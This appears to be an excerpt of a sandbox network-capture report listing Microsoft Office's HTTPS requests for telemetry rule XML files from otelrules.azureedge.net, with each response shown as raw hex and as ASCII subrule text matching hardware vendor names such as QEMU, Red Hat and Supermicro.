2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:35 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:35 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: cf25fe23-201e-0000-80af-36a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192135Z-16547b76f7f6892shC1DFWawd0000000035g00000000n77w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:35 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:35 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:35 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: bb1a68b3-601e-0001-569b-38faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192135Z-1866b5c5fbbvz6qbhC1DFWsyms00000005dg00000000kxvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:35 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:35 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:35 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 7acd991b-701e-000d-31ef-376de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192135Z-164f84587bfrrmqdhC1DFWvu6s00000004ug00000000f4va x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:35 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:35 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:35 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:35 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192135Z-16547b76f7fz92z5hC1DFWmdx800000004hg00000000c0t7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:35 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:36 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ccc5299a-501e-000a-5c21-370180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192136Z-164f84587bffvwt9hC1DFW2ktw00000003wg00000000qk62 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:36 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:36 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 200f6d4e-701e-003e-2fb8-3779b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192136Z-16547b76f7fr5rfnhC1DFW0am400000003tg000000001br1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:36 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:36 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d0d1667b-a01e-000d-1d09-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192136Z-16547b76f7fljddfhC1DFWeqbs000000070g00000000qhe6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:36 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:36 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 7d8b983e-001e-0066-2ed2-37561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192136Z-1866b5c5fbbx98hfhC1DFWuqmg00000004yg00000000gf6m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:36 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:36 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192136Z-16547b76f7fbkfmzhC1DFWm9tw00000005y0000000004db0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:36 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 03bc4034-001e-00a2-3978-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192136Z-164f84587bfdfkt7hC1DFW4fas000000047000000000hhgz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:37 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:37 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1d52295f-e01e-0051-7dc4-3784b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192137Z-1866b5c5fbb5hnj5hC1DFW18sc00000006cg00000000fb1w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:37 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 3592d30c-801e-0048-183e-38f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192137Z-164f84587bf7k72dhC1DFWvczs00000006ag000000004dc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
